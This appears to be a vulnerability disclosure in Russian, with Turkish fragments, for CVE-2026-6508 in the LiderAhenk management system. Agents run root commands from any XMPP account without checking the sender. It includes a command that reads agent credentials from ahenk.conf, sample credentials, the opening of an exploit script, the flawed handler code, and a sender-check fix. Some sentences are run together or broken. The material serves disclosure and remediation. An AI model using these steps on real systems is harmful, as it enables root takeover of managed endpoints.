
CVE-2026-6508 — критическая уязвимость в архитектуре LiderAhenk Merkezi Yönetim Sistemi, позволяющая выполнение кода с привилегиями 'root' (unauthorized rce & lateral movement) между всеми клиентами (агентами) на конечных устройствах.
EvilAhenk — это критическая уязвимость безопасности в архитектуре централизованной системы управления LiderAhenk, позволяющая любому клиенту (агенту) выполнять код с привилегиями root на других конечных устройствах (Unauthorized RCE & Lateral Movement).
В LiderAhenk панель управления/центральный сервер отправляет агентам сообщения о задачах и политиках через XMPP.
ahenk на клиентах также подключаются к той же XMPP-инфраструктуре.EXECUTE_POLICY, EXECUTE_TASK или EXECUTE_SCRIPT.Таким образом, XMPP является транспортным каналом для управляющего трафика. Команды с панели управления обычно доставляются клиентам через этот канал.
Ожидаемый поток:
Lider/Ahenk yonetim paneli -> XMPP sunucusu -> hedef agent
Уязвимый поток:
ct-2 — легитимный клиент, подключённый к тому же XMPP-серверу.ct-2 отправляет XMPP-серверу сообщение EXECUTE_SCRIPT, адресованное JID ct-1.ct-1.ct-1 выполняет команду, не проверяя, действительно ли сообщение пришло от lider_sunucu.ahenk.service работает с привилегиями root.ct-2 veya baska bir XMPP hesabi -> XMPP sunucusu -> ct-1 agent -> root komut
То есть мы не взламываем сам XMPP-слой. XMPP-сервер выполняет обычную маршрутизацию сообщений. Проблема в том, что агент Ahenk на стороне ct-1 не проверяет, действительно ли входящее сообщение пришло от авторизованной учётной записи управления.
pip install slixmpp
На скомпрометированном клиенте, подключённом к центральной системе управления, собираются следующие данные:
sudo grep -E '^(uid|password|host|port|servicename|receiverjid|use_tls)' /etc/ahenk/ahenk.conf
Пример вывода:
uid = pardus-ct-2
password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401
host = 192.168.100.13
port = 5222
use_tls = false
receiverjid = lider_sunucu
servicename = im.liderahenk.org
Обновляем файл Main.py в соответствии с полученными данными: домен im.liderahenk.org, целевой uid pardus-ct-1.
- XMPP user: `[email protected]`
- XMPP password: `e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401`
- XMPP host: `192.168.100.13`
- XMPP port: `5222`
- Varsayilan hedef: `[email protected]`
Команду для выполнения на целевой машине можно изменить, отредактировав переменную COMMAND.
root@pardus-ct-2:/home/pardus-ct-2# cat xp.py | head -n 11
#!/usr/bin/env python3
import asyncio
import json
from slixmpp import ClientXMPP
XMPP_USER = "[email protected]"
XMPP_PASS = "e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401"
TARGET_JID = "[email protected]"
XMPP_HOST = "192.168.100.13"
XMPP_PORT = 5222
COMMAND = "id > /tmp/who; false"
В repos/ahenk/src/base/messaging/messenger.py входящее сообщение обрабатывается только по полю type. Проверка авторизованного отправителя по msg['from'] отсутствует:
def recv_direct_message(self, msg):
if msg['type'] in ['normal']:
j = json.loads(str(msg['body']))
message_type = j['type']
self.event_manger.fireEvent(message_type, str(msg['body']))
В repos/ahenk/src/base/execution/execution_manager.py обработка EXECUTE_SCRIPT напрямую приводит к выполнению команды:
def execute_script(self, arg):
json_data = json.loads(arg)
result_code, p_out, p_err = Util.execute(str(json_data['command']))
Сочетание этих двух частей даёт следующий эффект:
EXECUTE_SCRIPT без проверки отправителя.Возможное исправление на уровне архитектуры:
def recv_direct_message(self, msg):
if msg['type'] != 'normal':
return
allowed_sender = self.receiver.split('/')[0]
actual_sender = msg['from'].bare
if actual_sender != allowed_sender:
self.logger.warning("Rejected message from %s", actual_sender)
return
j = json.loads(str(msg['body']))
self.event_manger.fireEvent(j['type'], str(msg['body']))